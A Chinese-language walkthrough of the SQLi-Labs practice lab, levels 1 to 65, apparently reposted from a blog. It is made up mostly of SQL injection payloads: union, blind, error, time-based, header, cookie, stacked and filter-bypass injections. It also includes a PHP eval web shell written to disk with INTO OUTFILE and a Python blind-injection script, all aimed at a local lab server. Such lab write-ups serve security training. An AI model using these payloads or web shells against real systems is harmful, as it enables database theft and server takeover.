SQLi_Labs通关文档
先列举一下sql基础语句
show databases; //查看数据库use xxx; //使用某个数据库show tables; //查看该数据库的数据表desc xxx; //查看该数据表的结构select * from xxx; //查找某个数据表的所有内容select schema_name from information_schema.schemata; //猜数据库select table_name from information_schema.tables where table_schema='xxxxx'; //猜某数据库的数据表Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的所有列left(a,b) //从左侧截取 a 的前 b 位mid(column_name,start[,length]) //从位置start开始,截取column_name字符串的length位,与substr作用相同substr(string, start, length) //从位置start开始,截取字符串string的length长度,与mid作用相同ascii() //将某个字符转换成ascii码ord() //将某个字符转换成ascii码,同ascii()
Less-1
尝试添加’注入,发现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这里我们就可以直接发现报错的地方,直接将后面注释,然后使用
1' order by 3%23 //得到列数为3//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'# //得到表名-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'# //得到列名-1' union select 1,username,password from users where id=3# //爆破得到数据
Less-2
在添加’之后,得到返回
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
可以得到这个sql语句其实并没有单引号,只是用数字进行查询,例如
select * from users where id=1
所以我们也可以跟上面一样,payloads:
-1 or 1=1%23
Less-3
添加’之后,返回
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
可以得到大概的sql语句:
select * from users where id=('input') LIMIT 0,1;
所以我们可以需要闭合)。
-1') or 1=1%23
Less-4
尝试’并未发现报错,尝试”发现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
可以得到大概的sql语句
select * from users where id = ("input") LIMIT 0,1;
所以payload:
-1") or 1=1 %23
其他注入语句同上 ,就不再一一列举了。
Less-5
尝试’发现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
猜测sql语句为
select * from users where id='input' LIMIT 0,1;
如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...
,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。
使用left()
例如我们可以使用1' and left(version(),1)=3%23
这个payload进行测试,截取version()
得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...
,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5
。爆破区间可以确定在/[0-9.]/
。
采用1'and length(database())=8%23
对数据库名字长度进行爆破,确定数据库名字长度之后,我们可以使用database()
来进行爆破数据库名,采用left(database(),1)>'a'
这个payload进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。
使用substr()、ascii()
也可以采用substr()、ascii()函数进行尝试:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取数据库下第一个表的第一个字符与80ascii值进行对比找第二个字符只需要改成substr('xxx',2,1)即可。找第二个表改成limit 1,1
使用regexp()
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23//users表中的列名是否有us**的列
使用ord()、mid()
1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23//cast(username AS CHAR)将username转换成字符串//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。//ord前文提过
使用报错注入
推荐一篇超详细的讲解报错注入的文章
Mysql报错注入原理分析(count()、rand()、group by)
超链接:https://www.cnblogs.com/xdans/p/5412468.html
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x#1' union select (!(select * from (select user())x) - ~0),2,3 --+1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
使用延时注入
benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark() 中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
Less-6
没有回显,可以使用布尔盲注
1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
可以发现>100
有回显,小于就没有,也可以用报错注入…
这里就是把Less-5 中的'
改成"
就行了
Less-7
使用文件导出
1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%231'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+
Less-8
可以使用时间盲注,也可以用 bool 盲注
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Less-9
同 Less-8 可以使用时间盲注
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Less-10
1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Less-11
报错注入,少一列就行了
1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
Less-12
1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
Less-13
1') or 1=1#
成功登录,报错注入成功但是不回显,可以考虑盲注
1') or ascii(substr((database()),1,1))>100#
Less-14
1" or 1=1#
成功登录,依然不能回显,尝试使用布尔盲注
1" or left(database(),1)='s'#
发现可以用updatexml
进行报错注入
1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
Less-15
1' or 1=1#
成功登录,布尔注入或者时间盲注均可行
1' or left(database(),1)='s'#admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
Less-16
1") or 1=1#
成功登录,布尔注入或者时间盲注均可行
1") or left(database(),1)='s'#admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
Less-17
update
注入,username
过滤了很多,有password
错误回显,考虑用报错注入
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
Less-18
登录成功后,页面提示
Your IP ADDRESS is: 172.17.0.1Your User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
那么有可能是 ip 或者 UA 注入,看了一下发现是个 Header 头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert
注入,需要用'1'='1
闭合后面的 sql 语句,否则就是语法错误了
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#
Less-19
登录成功后提示
Your IP ADDRESS is: 172.17.0.1Your Referer is: http://localhost:8081/Less-19/
于是我们可以知道是在Referer
应该有注入点,在 Referer 处同样用
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
可以注入
Less-20
cookie 注入,登录成功后修改 cookie 即可
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
Less-21
登录成功后发现 cookie 加上了 base64
YOUR COOKIE : uname = YWRtaW4=
用上面的 payload 进行 base64 编码就行了,记得=
要 urlencode
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d
Less-22
同 21 ,单引号换成双引号即可
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d
Less-23
这里#
、--+
均被过滤了,但是我们可以利用or "1"="1
来闭合后面的双引号也可以达到我们的目的
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
Less-24
这里是个二次注入,我们可以先注册一个admin'#
的账号,在修改密码处我们就可以以自己的密码修改 admin 的密码了,因为修改密码处形成的 sql 语句是
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
这样#
就注释掉了后面的 sql 语句
Less-25
题目很直接,提示直接把 or
、and
过滤了,但是可以用&&
、||
绕过
admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
也可以双写绕过
0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;#
Less-25a
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23
Less-26
题目提示空格与注释被过滤了,可以使用%0a
绕过,可以盲注也可以报错注入
0'||left(database(),1)>'s'%26%26'1'='10'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
Less-26a
题目提示空格与注释被过滤了,可以使用%a0
绕过,报错注入不出,可以用布尔盲注
0'||'1'='1 #探测为'0'||left(database(),1)='s'%26%26'1'='1白盒审计知道是')0%27)%a0union%a0select%a01,database(),2||('10%27)%a0union%a0select%a01,database(),2;%00
Less-27
题目提示union
与select
被过滤了,可用大小写绕过
0'||'1'='10'||left(database(),1)='s'%26%26'1'='10'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
Less-27a
增加了"
0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
Less-28
union select
大小写均被过滤,但是select
还可单独用,盲注即可
0')||left(database(),1)>'s';%00
Less-28a
依然可以用盲注
0')||left((database()),1)='s';%000')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)<'s';%00
Less-29
利用tomcat
与apache
解析相同请求参数不同的特性,tomcat
解析相同请求参数取第一个,而apache
取第二个,如?id=1&id=2
,tomcat
取得1,apache
取得2
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-30
与 29 架构一样,原理一致只不过加了"
限制
?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-31
架构一样,多了")
?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-32
注意是GBK
,可以用%df
进行宽字节注入
0%df%27%20or%201=1%230%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-33
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-34
uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23&passwd=1&submit=Submit
Less-35
0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
Less-36
0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23-1%EF%BF%BD%27union%20select%201,user(),3--+
Less-37
uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit
Less-38
堆叠注入,成功创建test
数据表
1';create table test like users;%23
Less-39
1;create table test39 like users;%23
Less-40
1');create table test40 like users;%23
Less-41
1;create table test41 like users;%23
Less-42
password
处无过滤
login_user=1&login_password=1'%3bcreate+table+test43+like+users%3b%23&mysubmit=Login
Less-43
password
处无过滤
login_user=1&login_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit=Login
Less-44
login_user=1&login_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit=Login
Less-45
login_user=1&login_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit=Login
Less-46
order by
注入
username
、password
均为列名,所以以下需要知道列名
?order=if(1=1,username,password)?order=null,if(1=1,username,password)?order=(case when (1=1) then username else password end)?order=ifnull(null, username)?order=rand(1=1) //order by rand(1)/rand(0)两者返回不一样?order=(select 1 regexp if(1=1,1,0x00))
将1=1
换成bool盲注的语句函数即可用于获取数据
sort=rand(ascii(database(),1))=115)
时间盲注
sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)
Bool 盲注
rand(ascii(left(database()),1))=115)
报错注入:
updatexml(1,if(1=1,concat(0x7e,version()),2),1)(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
procedure analyse 参数后注入
sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
into outfile参数:
id=1 into outfield "path"
上传网马,可以在后面加上lines terminated by 16
进制转码的数据
Less-47
有'
,可以用报错
1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
也可以用时间盲注
1'and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
procedure analyse 参数后注入
1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
Less-48
1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+sort=rand(ascii(left(database(),1))=115)
Less-49
1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+
Less-50
堆叠注入
1;create table test50 like users;%23
Less-51
1';create table test51 like users;%23
Less-52
1;create table test52 like users;%23
Less-53
1';create table test53 like users;%23
Less-54
如果没有点提交按钮将会进入下面的else语句,有过滤,显然突破口在上面。如果点了提交将会setcookie,然后看到有个GET
提交的id参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。
http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273 //查库http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23 //查表http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx //查列http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23 //查数据
Less-55
这个题限制了请求14次,不过当测试出闭合情况之后后面就一切顺利了。
先尝试闭合
http://192.168.211.145/sqli/Less-55/?id=1'%23 //错误http://192.168.211.145/sqli/Less-55/?id=1')%23 //错误http://192.168.211.145/sqli/Less-55/?id=1)%23 //正确
尝试之后发现是用)
闭合
http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23
Less-56
这几关都差不多,首先也是尝试闭合
http://192.168.211.145/sqli/Less-56/index.php?id=1')%23 //成功闭合http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23
Less-57
这关是双引号闭合的
http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23
Less-58
查询之后并没有返回查询数据库当中的数据,不能使用union联合注入,但是有报错回显,可以使用报错注入。
http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
Less-59
SQL语句:
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
payload:
http://192.168.211.145/sqli/Less-59/index.php?id= 1 and extractvalue(1, concat(0x5c, (select database())))%23
Less-60
http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23
Less-61
http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23
Less-62
接下来几关要在130次内完成盲注。只不过有次数限制,很明显不能去爆破
http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23写脚本跑出数据库名字:# -*- coding: UTF-8 -*- import requestsglobal numurl = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"def check(payload):global numnum += 1content = requests.get(url=payload).textprint payloadif "Angelina" in content:return 1else:return 0def exp():result = ''start = 30end = 127for i in range(1,11):for j in range(start,end):tmp = (start+end)/2#print tmppayload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)if (end - start ==1):payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)if check(payload):result += chr(tmp)start = 30end = 127breakelse:result += chr(tmp+1)start = 30end =127breakif check(payload):start = tmpelse:end = tmpprint resultif __name__ == '__main__':num =0exp()print num
跑字段的脚本
# -*- coding: UTF-8 -*- import requestsglobal numurl = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"def check(payload):global numnum += 1content = requests.get(url=payload).textprint payloadif "Angelina" in content:return 1else:return 0def exp():result = ''start = 30end = 127for i in range(1,25):for j in range(start,end):tmp = (start+end)/2#print tmppayload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)if (end - start ==1):payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)if check(payload):result += chr(tmp)start = 30end = 127breakelse:result += chr(tmp+1)start = 30end =127breakif check(payload):start = tmpelse:end = tmpprint resultif __name__ == '__main__':num =0exp()print num
Less-63
这关跟上一关一样,唯一的区别在于需要使用单引号闭合
不再赘述!
Less-64
这关跟上一关一样,唯一的区别在于需要使用括号闭合
不再赘述!
Less-65
这几关性质都一样,只不过闭合语句不同,不再赘述
SQL语句:
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
参考来源:p0desta&zeddyu的博客
作者:p0desta
来源:https://www.cnblogs.com/Eleven-Liu/p/11228688.html